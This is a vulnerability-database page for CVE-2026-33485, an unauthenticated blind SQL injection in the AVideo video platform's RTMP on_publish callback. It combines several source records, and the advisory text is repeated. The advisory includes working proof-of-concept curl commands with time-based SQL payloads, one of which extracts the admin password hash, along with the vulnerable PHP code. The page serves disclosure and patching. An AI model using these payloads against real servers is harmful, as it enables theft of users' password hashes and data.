Every CVE Search/ Get API key

CVE-2026-33485

AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

7.5 High

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.49%Up 0.3 points since Mar 24, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.

Record
CVE-2026-33485
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-89
Updated
2026-11-02
EUVDEUVD-2026-14443 7.5

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.

Record
EUVD-2026-14443
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-8p58-35c3-ccxx 7.5

AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

Summary

The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.

Details

Entry point: plugin/Live/on_publish.php — no authentication, no IP allowlist, no origin verification.

Sanitization (insufficient): Line 117 strips only & and = characters:

// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);

Injection point #1 — unconditional (no p parameter needed):

At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():

// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);

Inside getLatest(), the key is interpolated into a LIKE clause without escaping:

// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE '{$key}%' ";
}

Injection point #2 — when $_GET['p'] is provided:

At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():

// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);

Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:

// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);

Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.

PoC

Injection point #1 (unconditional — simplest):

# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"

A ~5-second response time confirms injection. The payload:

  • Avoids & and = (stripped by line 117)
  • Avoids _ and - in positions where cleanUpKey() would split
  • Uses %23 (#) to comment out the trailing %'

Data extraction — character-by-character:

# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"

Injection point #2 (via keyExists):

curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"

This reaches keyExists() at line 146, producing:

SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1

Impact

An unauthenticated remote attacker can:

  1. **Extract all…
Record
GHSA-8p58-35c3-ccxx
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-89
Updated
2026-11-02
NVD 7.5

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.

Record
CVE-2026-33485
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-89
Updated
2026-11-02
OSV 7.5

AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.

Record
CVE-2026-33485
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-89
Updated
2026-11-02
OSVGHSA-8p58-35c3-ccxx 7.5

AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

Summary

The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.

Details

Entry point: plugin/Live/on_publish.php — no authentication, no IP allowlist, no origin verification.

Sanitization (insufficient): Line 117 strips only & and = characters:

// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);

Injection point #1 — unconditional (no p parameter needed):

At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():

// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);

Inside getLatest(), the key is interpolated into a LIKE clause without escaping:

// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE '{$key}%' ";
}

Injection point #2 — when $_GET['p'] is provided:

At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():

// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);

Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:

// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);

Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.

PoC

Injection point #1 (unconditional — simplest):

# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"

A ~5-second response time confirms injection. The payload:

  • Avoids & and = (stripped by line 117)
  • Avoids _ and - in positions where cleanUpKey() would split
  • Uses %23 (#) to comment out the trailing %'

Data extraction — character-by-character:

# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"

Injection point #2 (via keyExists):

curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"

This reaches keyExists() at line 146, producing:

SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1

Impact

An unauthenticated remote attacker can:

  1. **Extract all…
Record
GHSA-8p58-35c3-ccxx
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-89
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
wwbn/avideo
Packagist
through 26.0 None known
wwbn/avideo
Packagist
through 26.0, plus listed versions
10.410.81111.111.1.1
Show 11 moreShow less
11.511.612.414.314.3.114.418.021.022.024.025.0
None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-33485 is a high vulnerability (CVSS 7.5) in Wwbn Avideo, published March 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.49%, the 42nd percentile. No source names a fixed version.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open